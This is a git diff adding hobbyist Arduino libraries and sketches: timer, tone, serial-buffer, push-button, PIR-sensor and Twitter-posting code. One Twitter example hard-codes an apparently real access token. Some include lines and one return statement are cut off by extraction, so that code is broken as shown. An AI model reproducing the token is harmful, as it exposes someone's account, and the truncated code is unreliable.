* or send a letter to Creative Commons, 171 Second Street, Suite 300, San Francisco, California, 94105, USA. + * + * See Google Code project http://code.google.com/p/arduino-timerone/ for latest + */ +#ifndef TIMERONE_cpp +#define TIMERONE_cpp + +#include "TimerOne.h" + +TimerOne Timer1; // preinstatiate + +ISR(TIMER1_OVF_vect) // interrupt service routine that wraps a user defined function supplied by attachInterrupt +{ + Timer1.isrCallback(); +} + +void TimerOne::initialize(long microseconds) +{ + TCCR1A = 0; // clear control register A + TCCR1B = _BV(WGM13); // set mode 8: phase and frequency correct pwm, stop the timer + setPeriod(microseconds); +} + +void TimerOne::setPeriod(long microseconds) +{ + long cycles = (F_CPU / 2000000) * microseconds; // the counter runs backwards after TOP, interrupt is at BOTTOM so divide microseconds by 2 + if(cycles < RESOLUTION) clockSelectBits = _BV(CS10); // no prescale, full xtal + else if((cycles >>= 3) < RESOLUTION) clockSelectBits = _BV(CS11); // prescale by /8 + else if((cycles >>= 3) < RESOLUTION) clockSelectBits = _BV(CS11) | _BV(CS10); // prescale by /64 + else if((cycles >>= 2) < RESOLUTION) clockSelectBits = _BV(CS12); // prescale by /256 + else if((cycles >>= 2) < RESOLUTION) clockSelectBits = _BV(CS12) | _BV(CS10); // prescale by /1024 + else cycles = RESOLUTION - 1, clockSelectBits = _BV(CS12) | _BV(CS10); // request was out of bounds, set as maximum + ICR1 = pwmPeriod = cycles; // ICR1 is TOP in p & f correct pwm mode + TCCR1B &= ~(_BV(CS10) | _BV(CS11) | _BV(CS12)); + TCCR1B |= clockSelectBits; // reset clock select register +} + +void TimerOne::setPwmDuty(char pin, int duty) +{ + unsigned long dutyCycle = pwmPeriod; + dutyCycle *= duty; + dutyCycle >>= 10; + if(pin == 1 || pin == 9) OCR1A = dutyCycle; + else if(pin == 2 || pin == 10) OCR1B = dutyCycle; +} + +void TimerOne::pwm(char pin, int duty, long microseconds) // expects duty cycle to be 10 bit (1024) +{ + if(microseconds > 0) setPeriod(microseconds); + if(pin == 1 || pin == 9) { + DDRB |= _BV(PORTB1); // sets data direction register for pwm output pin + TCCR1A |= _BV(COM1A1); // activates the output pin + } + else if(pin == 2 || pin == 10) { + DDRB |= _BV(PORTB2); + TCCR1A |= _BV(COM1B1); + } + setPwmDuty(pin, duty); + start(); +} + +void TimerOne::disablePwm(char pin) +{ + if(pin == 1 || pin == 9) TCCR1A &= ~_BV(COM1A1); // clear the bit that enables pwm on PB1 + else if(pin == 2 || pin == 10) TCCR1A &= ~_BV(COM1B1); // clear the bit that enables pwm on PB2 +} + +void TimerOne::attachInterrupt(void (*isr)(), long microseconds) +{ + if(microseconds > 0) setPeriod(microseconds); + isrCallback = isr; // register the user's callback with the real ISR + TIMSK1 = _BV(TOIE1); // sets the timer overflow interrupt enable bit + sei(); // ensures that interrupts are globally enabled + start(); +} + +void TimerOne::detachInterrupt() +{ + TIMSK1 &= ~_BV(TOIE1); // clears the timer overflow interrupt enable bit +} + +void TimerOne::start() +{ + TCCR1B |= clockSelectBits; +} + +void TimerOne::stop() +{ + TCCR1B &= ~(_BV(CS10) | _BV(CS11) | _BV(CS12)); // clears all clock selects bits +} + +void TimerOne::restart() +{ + TCNT1 = 0; +} + +unsigned long TimerOne::read() //returns the value of the timer in microseconds +{ //rember! phase and freq correct mode counts up to then down again + unsigned int tmp=TCNT1; + char scale=0; + switch (clockSelectBits) + { + case 1:// no prescalse + scale=0; + break; + case 2:// x8 prescale + scale=3; + break; + case 3:// x64 + scale=6; + break; + case 4:// x256 + scale=8; + break; + case 5:// x1024 + scale=10; + break; + } + while (TCNT1==tmp) //if the timer has not ticked yet + { + //do nothing -- max delay here is ~1023 cycles + } + tmp = ( (TCNT1>tmp) ? (tmp) : (ICR1-TCNT1)+ICR1 );//if we are counting down add the top value to how far we have counted down + return ((tmp*1000L)/(F_CPU /1000L))< +#include + +#define RESOLUTION 65536 // Timer1 is 16 bit + +class TimerOne +{ + public: + + // properties + unsigned int pwmPeriod; + unsigned char clockSelectBits; + + // methods + void initialize(long microseconds=1000000); + void start(); + void stop(); + void restart(); + unsigned long read(); + void pwm(char pin, int duty, long microseconds=-1); + void disablePwm(char pin); + void attachInterrupt(void (*isr)(), long microseconds=-1); + void detachInterrupt(); + void setPeriod(long microseconds); + void setPwmDuty(char pin, int duty); + void (*isrCallback)(); +}; + +extern TimerOne Timer1; +#endif \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Twitter/Twitter.cpp b/Projects/libraries/Installed_libs/Twitter/Twitter.cpp new file mode 100755 index 0000000..026064b --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/Twitter.cpp @@ -0,0 +1,91 @@ +/* + Twitter.cpp - Arduino library to Post messages to Twitter using OAuth. + Copyright (c) NeoCat 2010-2011. All right reserved. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +// ver1.2 - Use +// ver1.3 - Support IDE 1.0 + +#include +#include "Twitter.h" + +#define LIB_DOMAIN "arduino-tweet.appspot.com" + +#if defined(ARDUINO) && ARDUINO < 100 +static uint8_t server[] = {0,0,0,0}; // IP address of LIB_DOMAIN +Twitter::Twitter(const char *token) : client(server, 80), token(token) +{ +} +#else +Twitter::Twitter(const char *token) : token(token) +{ +} +#endif + +bool Twitter::post(const char *msg) +{ +#if defined(ARDUINO) && ARDUINO < 100 + DNSError err = EthernetDNS.resolveHostName(LIB_DOMAIN, server); + if (err != DNSSuccess) { + return false; + } +#endif + parseStatus = 0; + statusCode = 0; +#if defined(ARDUINO) && ARDUINO < 100 + if (client.connect()) { +#else + if (client.connect(LIB_DOMAIN, 80)) { +#endif + client.println("POST http://" LIB_DOMAIN "/update HTTP/1.0"); + client.print("Content-Length: "); + client.println(strlen(msg)+strlen(token)+14); + client.println(); + client.print("token="); + client.print(token); + client.print("&status="); + client.println(msg); + } else { + return false; + } + return true; +} + +bool Twitter::checkStatus(Print *debug) +{ + if (!client.connected()) { + if (debug) + while(client.available()) + debug->print((char)client.read()); + client.flush(); + client.stop(); + return false; + } + if (!client.available()) + return true; + char c = client.read(); + if (debug) + debug->print(c); + switch(parseStatus) { + case 0: + if (c == ' ') parseStatus++; break; // skip "HTTP/1.1 " + case 1: + if (c >= '0' && c <= '9') { + statusCode *= 10; + statusCode += c - '0'; + } else { + parseStatus++; + } + } + return true; +} + +int Twitter::wait(Print *debug) +{ + while (checkStatus(debug)); + return statusCode; +} diff --git a/Projects/libraries/Installed_libs/Twitter/Twitter.h b/Projects/libraries/Installed_libs/Twitter/Twitter.h new file mode 100755 index 0000000..0f06ad7 --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/Twitter.h @@ -0,0 +1,46 @@ +/* + Twitter.cpp - Arduino library to Post messages to Twitter using OAuth. + Copyright (c) NeoCat 2010-2011. All right reserved. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +// ver1.2 - Use to support IDE 0019 or later +// ver1.3 - Support IDE 1.0 + +#ifndef TWITTER_H +#define TWITTER_H + +#include +#include +#if defined(ARDUINO) && ARDUINO > 18 // Arduino 0019 or later +#include +#endif +#include +#if defined(ARDUINO) && ARDUINO < 100 // earlier than Arduino 1.0 +#include +#endif + +class Twitter +{ +private: + uint8_t parseStatus; + int statusCode; + const char *token; +#if defined(ARDUINO) && ARDUINO < 100 + Client client; +#else + EthernetClient client; +#endif +public: + Twitter(const char *user_and_passwd); + + bool post(const char *msg); + bool checkStatus(Print *debug = NULL); + int wait(Print *debug = NULL); + int status(void) { return statusCode; } +}; + +#endif //TWITTER_H diff --git a/Projects/libraries/Installed_libs/Twitter/examples/SimplePost/SimplePost.pde b/Projects/libraries/Installed_libs/Twitter/examples/SimplePost/SimplePost.pde new file mode 100755 index 0000000..a525922 --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/examples/SimplePost/SimplePost.pde @@ -0,0 +1,49 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Ethernet Shield Settings +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("YOUR-TOKEN-HERE"); + +// Message to post +char msg[] = "Hello, World! I'm Arduino!"; + +void setup() +{ + delay(1000); + Ethernet.begin(mac, ip); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + Serial.begin(9600); + + Serial.println("connecting ..."); + if (twitter.post(msg)) { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } +} + +void loop() +{ +} diff --git a/Projects/libraries/Installed_libs/Twitter/examples/Twitter_Serial_GW/Twitter_Serial_GW.ino b/Projects/libraries/Installed_libs/Twitter/examples/Twitter_Serial_GW/Twitter_Serial_GW.ino new file mode 100755 index 0000000..1a6724b --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/examples/Twitter_Serial_GW/Twitter_Serial_GW.ino @@ -0,0 +1,80 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Sample : Serial port => Twitter gateway +// Run this program on Arduino and connect via some Serial port terminal software. +// Type a message and hit enter key, and it will be posted to Twitter. +// Arduino IDE Serial Monitor is not usable because it doesn't seem able to send Enter key code. + +// Ethernet Shield Settings +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); + + +char msg[141] = "Test01"; +int len = 0; + +void setup() +{ + delay(1000); + Ethernet.begin(mac, ip); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + + Serial.begin(9600); + Serial.print("> "); +} + +void loop() +{ + if (Serial.available() > 0) { + char recv = msg[len++] = Serial.read(); + if (recv == '\b' || recv == 127) { // Backspace + if (len > 1) { + len -= 2; + Serial.print("\b \b"); + } + } + else if (recv == '\r' || recv == '\n') { // send CR/LF to post + Serial.print("\r\n"); + len--; + msg[len] = 0; + if (len > 0) + post(); + len = 0; + Serial.print("\r\n> "); + } + else if (len > 140) + len = 140; + else + Serial.print(recv); + } +} + +void post() +{ + Serial.println("connecting ..."); + if (twitter.post(msg)) { + int status = twitter.wait(); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/Twitter/keywords.txt b/Projects/libraries/Installed_libs/Twitter/keywords.txt new file mode 100755 index 0000000..da10403 --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/keywords.txt @@ -0,0 +1,22 @@ +####################################### +# Syntax Coloring Map For Twitter +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +Twitter KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +post KEYWORD2 +getStatus KEYWORD2 +checkStatus KEYWORD2 +wait KEYWORD2 + +####################################### +# Constants (LITERAL1) +####################################### diff --git a/Projects/libraries/Installed_libs/readme.txt b/Projects/libraries/Installed_libs/readme.txt new file mode 100755 index 0000000..a8f1390 --- /dev/null +++ b/Projects/libraries/Installed_libs/readme.txt @@ -0,0 +1 @@ +For information on installing libraries, see: http://arduino.cc/en/Guide/Libraries diff --git a/Projects/libraries/Installed_libs/toneAC/examples/toneAC_demo/toneAC_demo.pde b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_demo/toneAC_demo.pde new file mode 100755 index 0000000..f91cae4 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_demo/toneAC_demo.pde @@ -0,0 +1,35 @@ +// --------------------------------------------------------------------------- +// Connect your piezo buzzer (without internal oscillator) or speaker to these pins: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Be sure to include an inline 100 ohm resistor on one pin as you normally do when connecting a piezo or speaker. +// --------------------------------------------------------------------------- + +#include + +// Melody liberated from the toneMelody Arduino example sketch by Tom Igoe. +int melody[] = { 262, 196, 196, 220, 196, 0, 247, 262 }; +int noteDurations[] = { 4, 8, 8, 4, 4, 4, 4, 4 }; + +void setup() {} // Nothing to setup, just start playing! + +void loop() { + for (unsigned long freq = 125; freq <= 15000; freq += 10) { + toneAC(freq); // Play the frequency (125 Hz to 15 kHz sweep in 10 Hz steps). + delay(1); // Wait 1 ms so you can hear it. + } + toneAC(); // Turn off toneAC, can also use noToneAC(). + + delay(1000); // Wait a second. + + for (int thisNote = 0; thisNote < 8; thisNote++) { + int noteDuration = 1000/noteDurations[thisNote]; + toneAC(melody[thisNote], 10, noteDuration, true); // Play thisNote at full volume for noteDuration in the background. + delay(noteDuration * 4 / 3); // Wait while the tone plays in the background, plus another 33% delay between notes. + } + + while(1); // Stop (so it doesn't repeat forever driving you crazy--you're welcome). +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/toneAC/examples/toneAC_dual_LED/toneAC_dual_LED.pde b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_dual_LED/toneAC_dual_LED.pde new file mode 100755 index 0000000..76ea2a0 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_dual_LED/toneAC_dual_LED.pde @@ -0,0 +1,25 @@ +// --------------------------------------------------------------------------- +// Connect a two-pin dual LED to the following pins with inline 220 ohm resistor. +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Connect the center lead of a potentiometer to analog pin A0 and the other two leads to +5V and ground. +// --------------------------------------------------------------------------- + +#include + +unsigned long timestamp = 0; // Stores when the next time the routine is set to run. + +void setup() {} + +void loop() { + if (millis() > timestamp) { // Is it time yet? + timestamp += 500; // Set the next time routine will run. 500 ms because the lowest frequency is 2 Hz, which is a half second. + int pot = analogRead(A0); // Read the potentiometer connected to analog pin A0 to control alternating flashing speed. + int freq = map(pot, 0, 1023, 2, 40); // Convert pot analog values to a range from 2 to 40 Hz. + toneAC(freq, 10, 0, true); // Set the frequency and have it run forever in the background (next event should take over in 500 ms). + } + /* Do a bunch of other stuff here, it won't affect toneAC doing its thing. */ +} diff --git a/Projects/libraries/Installed_libs/toneAC/keywords.txt b/Projects/libraries/Installed_libs/toneAC/keywords.txt new file mode 100755 index 0000000..05c2936 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/keywords.txt @@ -0,0 +1,18 @@ +################################### +# Syntax Coloring Map For toneAC +################################### + +################################### +# Datatypes (KEYWORD1) +################################### + +################################### +# Methods and Functions (KEYWORD2) +################################### + +toneAC KEYWORD2 +noToneAC KEYWORD2 + +################################### +# Constants (LITERAL1) +################################### diff --git a/Projects/libraries/Installed_libs/toneAC/toneAC.cpp b/Projects/libraries/Installed_libs/toneAC/toneAC.cpp new file mode 100755 index 0000000..ca70d1f --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/toneAC.cpp @@ -0,0 +1,68 @@ +// --------------------------------------------------------------------------- +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// See "toneAC.h" for purpose, syntax, version history, links, and more. +// --------------------------------------------------------------------------- + +#include "toneAC.h" + +unsigned long _tAC_time; // Used to track end note with timer when playing note in the background. +#ifndef TONEAC_TINY +uint8_t _tAC_volume[] = { 200, 100, 67, 50, 40, 33, 29, 22, 11, 2 }; // Duty for linear volume control. +#endif + +#ifndef TONEAC_TINY +void toneAC(unsigned long frequency, uint8_t volume, unsigned long length, uint8_t background) { + if (frequency == 0 || volume == 0) { noToneAC(); return; } // If frequency or volume are 0, turn off sound and return. + if (volume > 10) volume = 10; // Make sure volume is in range (1 to 10). +#else +void toneAC(unsigned long frequency, unsigned long length) { + if (frequency == 0) { noToneAC(); return; } // If frequency is 0, turn off sound and return. +#endif + + PWMT1DREG |= _BV(PWMT1AMASK) | _BV(PWMT1BMASK); // Set timer 1 PWM pins to OUTPUT (because analogWrite does it too). + + uint8_t prescaler = _BV(CS10); // Try using prescaler 1 first. + unsigned long top = F_CPU / frequency / 2 - 1; // Calculate the top. + if (top > 65535) { // If not in the range for prescaler 1, use prescaler 256 (122 Hz and lower @ 16 MHz). + prescaler = _BV(CS12); // Set the 256 prescaler bit. + top = top / 256 - 1; // Calculate the top using prescaler 256. + } +#ifndef TONEAC_TINY + unsigned int duty = top / _tAC_volume[volume - 1]; // Calculate the duty cycle (volume). +#else + unsigned int duty = top >> 1; // 50% duty cycle (loudest and highest quality). +#endif + +#ifndef TONEAC_TINY + if (length > 0 && background) { // Background tone playing, returns control to your sketch. +#else + if (length > 0) { // Background tone playing, returns control to your sketch. +#endif + _tAC_time = millis() + length; // Set when the note should end. + TIMSK1 |= _BV(OCIE1A); // Activate the timer interrupt. + } + + ICR1 = top; // Set the top. + if (TCNT1 > top) TCNT1 = top; // Counter over the top, put within range. + TCCR1B = _BV(WGM13) | prescaler; // Set PWM, phase and frequency corrected (top=ICR1) and prescaler. + OCR1A = OCR1B = duty; // Set the duty cycle (volume). + TCCR1A = _BV(COM1A1) | _BV(COM1B1) | _BV(COM1B0); // Inverted/non-inverted mode (AC). + +#ifndef TONEAC_TINY + if (length > 0 && !background) { delay(length); noToneAC(); } // Just a simple delay, doesn't return control till finished. +#endif +} + +void noToneAC() { + TIMSK1 &= ~_BV(OCIE1A); // Remove the timer interrupt. + TCCR1B = _BV(CS11); // Default clock prescaler of 8. + TCCR1A = _BV(WGM10); // Set to defaults so PWM can work like normal (PWM, phase corrected, 8bit). + PWMT1PORT &= ~_BV(PWMT1AMASK); // Set timer 1 PWM pins to LOW. + PWMT1PORT &= ~_BV(PWMT1BMASK); // Other timer 1 PWM pin also to LOW. +} + +ISR(TIMER1_COMPA_vect) { // Timer interrupt vector. + if (millis() >= _tAC_time) noToneAC(); // Check to see if it's time for the note to end. +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/toneAC/toneAC.h b/Projects/libraries/Installed_libs/toneAC/toneAC.h new file mode 100755 index 0000000..f42c985 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/toneAC.h @@ -0,0 +1,111 @@ +// --------------------------------------------------------------------------- +// toneAC Library - v1.2 - 01/27/2013 +// +// AUTHOR/LICENSE: +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// LINKS: +// Project home: http://code.google.com/p/arduino-tone-ac/ +// Blog: http://arduino.cc/forum/index.php/topic,142097.msg1066968.html +// +// DISCLAIMER: +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// PURPOSE: +// Replacement to the standard tone library with the advantage of nearly twice +// the volume, higher frequencies (even if running at a lower clock speed), +// higher quality (less clicking), nearly 1.5k smaller compiled code and less +// stress on the speaker. Disadvantages are that it must use certain pins and +// it uses two pins instead of one. But, if you're flexible with your pin +// choices, this is a great upgrade. It also uses timer 1 instead of timer 2, +// which may free up a conflict you have with the tone library. It exclusively +// uses port registers for the fastest and smallest code possible. +// +// USAGE: +// Connection is very similar to a piezo or standard speaker. Except, instead +// of connecting one speaker wire to ground you connect both speaker wires to +// Arduino pins. The pins you connect to are specific, as toneAC lets the +// ATmega microcontroller do all the pin timing and switching. This is +// important due to the high switching speed possible with toneAC and to make +// sure the pins are alyways perfectly out of phase with each other +// (push/pull). See the below CONNECTION section for which pins to use for +// different Arduinos. Just as usual when connecting a speaker, make sure you +// add an inline 100 ohm resistor between one of the pins and the speaker wire. +// +// CONNECTION: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// +// SYNTAX: +// toneAC( frequency [, volume [, length [, background ]]] ) - Play a note. +// Parameters: +// * frequency - Play the specified frequency indefinitely, turn off with toneAC(). +// * volume - [optional] Set a volume level. (default: 10, range: 0 to 10 [0 = off]) +// * length - [optional] Set the length to play in milliseconds. (default: 0 [forever], range: 0 to 2^32-1) +// * background - [optional] Play note in background or pause till finished? (default: false, values: true/false) +// toneAC() - Stop playing. +// noToneAC() - Same as toneAC(). +// +// HISTORY: +// 01/27/2013 v1.2 - Fixed a counter error which went "over the top" and caused +// periods of silence (thanks Krodal). For advanced users needing tight code, +// the TONEAC_TINY switch in toneAC.h activates a version of toneAC() that +// saves 110 bytes. With TONEAC_TINY, the syntax is toneAC(frequency, length) +// while playing the note at full volume forever in the background. Added +// support for the ATmega 640, 644, 1281, 1284P and 2561 microcontrollers. +// +// 01/16/2013 v1.1 - Option to play notes in background, returning control back +// to your sketch for processing while note plays (similar to the way the tone +// library works). Volume is now linear and in the range from 0-10. Now uses +// prescaler 256 instead of 64 for frequencies below 122 Hz so it can go down +// to 1 Hz no matter what speed the CPU is clocked at (helpful if using toneAC +// to control a two-pin dual LED). +// +// 01/11/2013 v1.0 - Initial release. +// +// --------------------------------------------------------------------------- + +#ifndef toneAC_h + #define toneAC_h + + #if defined(ARDUINO) && ARDUINO >= 100 + #include + #else + #include + #endif + + //#define TONEAC_TINY // Uncomment to use alternate function toneAC(frequency, length) that saves 110 bytes. + + #if defined (__AVR_ATmega32U4__) || defined(__AVR_ATmega640__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega2561__) + #define PWMT1AMASK DDB5 + #define PWMT1BMASK DDB6 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #elif defined(__AVR_ATmega1284P__) || defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) + #define PWMT1AMASK DDD4 + #define PWMT1BMASK DDD5 + #define PWMT1DREG DDRD + #define PWMT1PORT PORTD + #else + #define PWMT1AMASK DDB1 + #define PWMT1BMASK DDB2 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #endif + + #if defined(__AVR_ATmega8__) || defined(__AVR_ATmega128__) + #define TIMSK1 TIMSK + #endif + + #ifndef TONEAC_TINY + void toneAC(unsigned long frequency = 0, uint8_t volume = 10, unsigned long length = 0, uint8_t background = false); + #else + void toneAC(unsigned long frequency = 0, unsigned long length = 0); + #endif + void noToneAC(); +#endif \ No newline at end of file diff --git a/Projects/libraries/PLabBT/PLabBTSerial.cpp b/Projects/libraries/PLabBT/PLabBTSerial.cpp new file mode 100644 index 0000000..8e1e7d5 --- /dev/null +++ b/Projects/libraries/PLabBT/PLabBTSerial.cpp @@ -0,0 +1,85 @@ +#include + +int PLabBTSerial::read() { + if (_available) + { + int r = _buffer[_retLoc]; + _available--; + if (_available) + { + _retLoc++; + } + else + { + _bLoc = 0; + _retLoc = 0; + } + return r; + } + return -1; +} + +void PLabBTSerial::read(char* buffer, int bufferSize) { + if (_available > bufferSize) + { + return; + } + int i = 0; + while (_available) + { + buffer[i] = read(); + i++; + } +} + +int PLabBTSerial::available() +{ + if (_available > 0) + { + return _available; + } + while (SoftwareSerial::available() > 0) + { + _buffer[_bLoc] = SoftwareSerial::read(); + if (_buffer[_bLoc] == '\r') + { + // Should just skip + } + else if (_buffer[_bLoc] == '\n') + { + // New line found. End string and return available data count + _buffer[_bLoc] = '\0'; + _available = (_bLoc - _retLoc) + 1; + return _available; + } + else + { + _bLoc++; + } + while (_bLoc >= _bufferSize) + { + _bLoc--; + } + } + return 0; +} + +// Constructor +PLabBTSerial::PLabBTSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic /*= false*/, uint8_t bufferSize /*= 50*/) : + SoftwareSerial(receivePin, transmitPin, inverse_logic) +{ + _bufferSize = bufferSize; + _buffer = new char[_bufferSize]; + _bLoc = 0; + _retLoc = 0; + _available = 0; +} + +// Destructor +PLabBTSerial::~PLabBTSerial() +{ + delete[] _buffer; + end(); +} + + diff --git a/Projects/libraries/PLabBT/PLabBTSerial.h b/Projects/libraries/PLabBT/PLabBTSerial.h new file mode 100644 index 0000000..6a30cc9 --- /dev/null +++ b/Projects/libraries/PLabBT/PLabBTSerial.h @@ -0,0 +1,46 @@ + +/* + * PLabBTSerial + * Version 0.1 February, 2015 + * Library that simplify serial line communication using SoftwareSerial. + * Allows the user to batch up characters to form an entire line before reading + * + * Author Inge Edward Halsaunet + */ + + +#ifndef PLAB_BT_SERIAL_H +#define PLAB_BT_SERIAL_H + +#include +#include + +class PLabBTSerial : public SoftwareSerial +{ +private: + // Size of buffer. + uint8_t _bufferSize; + // how far is written into the buffer + uint8_t _bLoc; + // How much is read from user + uint8_t _retLoc; + // How much is left available to read on this line + int _available; + // the buffer + char *_buffer; +public: + PLabBTSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic = false, uint8_t bufferSize = 50); + ~PLabBTSerial(); + + // The ones that will be overriden + virtual int read(); + virtual int available(); + + // Completely new method. Fills the given buffer with data received, + // given the buffer is large enough. Given buffer size identified as + // bufferSize + virtual void read(char* buffer, int bufferSize); + +}; + +#endif diff --git a/Projects/libraries/plab-library-master/PushButton.cpp b/Projects/libraries/plab-library-master/PushButton.cpp new file mode 100644 index 0000000..dd155cf --- /dev/null +++ b/Projects/libraries/plab-library-master/PushButton.cpp @@ -0,0 +1,62 @@ +#include "Arduino.h" +#include "PushButton.h" + +#define DEBOUNCE 20 // button debouncer, how many ms to debounce, 5+ ms is usually plenty + +PushButton::PushButton(int pin) +{ + _pin = pin; + _pressed = 0; + justpressed = 0; + justreleased = 0; + previousstate = 0; + currentstate = 0; + lasttime = millis(); + pinMode(_pin, INPUT); +} + +void PushButton::update() +{ + justreleased = 0; + justpressed = 0; + + if ((lasttime + DEBOUNCE) > millis()) { + // not enough time has passed to debounce + return; + } + // ok we have waited DEBOUNCE milliseconds, lets reset the timer + lasttime = millis(); + + currentstate = digitalRead(_pin); // read the button + + if (currentstate == previousstate) { + if ((_pressed == LOW) && (currentstate == LOW)) { + // just pressed + justpressed = 1; + } + else if ((_pressed == HIGH) && (currentstate == HIGH)) { + // just released + justreleased = 1; + } + _pressed = !currentstate; // remember, digital HIGH means NOT pressed + } + //Serial.println(pressed[index], DEC); + previousstate = currentstate; // keep a running tally of the buttons +} + + +boolean PushButton::isDown() +{ + return _pressed; +} + +boolean PushButton::pressed() +{ + return justpressed; +} + +boolean PushButton::released() +{ + return justreleased; +} + diff --git a/Projects/libraries/plab-library-master/PushButton.h b/Projects/libraries/plab-library-master/PushButton.h new file mode 100644 index 0000000..fc75e56 --- /dev/null +++ b/Projects/libraries/plab-library-master/PushButton.h @@ -0,0 +1,31 @@ +/* + PushButton.h - Library for Button with cebounce. + Created by Dag Svanæs, 2015. + Released into the public domain. +*/ + +#ifndef PushButton_h +#define PushButton_h + +#include "Arduino.h" + + +#define DEBOUNCE 20 // button debouncer, how many ms to debounce, 5+ ms is usually plenty + +class PushButton +{ + public: + PushButton(int pin); + void update(); + boolean isDown(); + boolean pressed(); + boolean released(); + private: + int _pin; + byte _pressed, justpressed, justreleased; + byte previousstate; + byte currentstate; + long lasttime; +}; + +#endif \ No newline at end of file diff --git a/Projects/pir_test/pir_test.ino b/Projects/pir_test/pir_test.ino new file mode 100644 index 0000000..acc911b --- /dev/null +++ b/Projects/pir_test/pir_test.ino @@ -0,0 +1,58 @@ + +int ledPin = 13; +int inputPins[] = {2, 4}; +bool pirState[] = {0, 0}; +int val[] = {0, 0}; + +void setup() { + delay(1500); + pinMode(ledPin, OUTPUT); + pinMode(inputPins[0], INPUT); + pinMode(inputPins[1], INPUT); + Serial.begin(9600); +} + +void loop() +{ + val[0] = digitalRead(inputPins[0]); + val[1] = digitalRead(inputPins[1]); + + if (val[0] == 1) + { + if (checkState(1) == 1) { + turnOn(); + } + } + else if (val[1] == 1) + { + if (checkState(0) == 1) { + turnOn(); + } + } + + Serial.println(val[0]); + Serial.println(val[1]); + Serial.println(); + delay(100); +} + +void turnOn() +{ + digitalWrite(ledPin, HIGH); + delay(3000); + digitalWrite(ledPin, LOW); +} + +int checkState(int sensorID) +{ + int changeState = 0; + for (int i = 0; i < 10; i++) + { + if (digitalRead(inputPins[sensorID]) == 1) { + changeState = 1; + } + delay(100); + } + + return changeState; +} diff --git a/Projects/sketch_jan27a/sketch_jan27a.ino b/Projects/sketch_jan27a/sketch_jan27a.ino new file mode 100644 index 0000000..579c0a7 --- /dev/null +++ b/Projects/sketch_jan27a/sketch_jan27a.ino 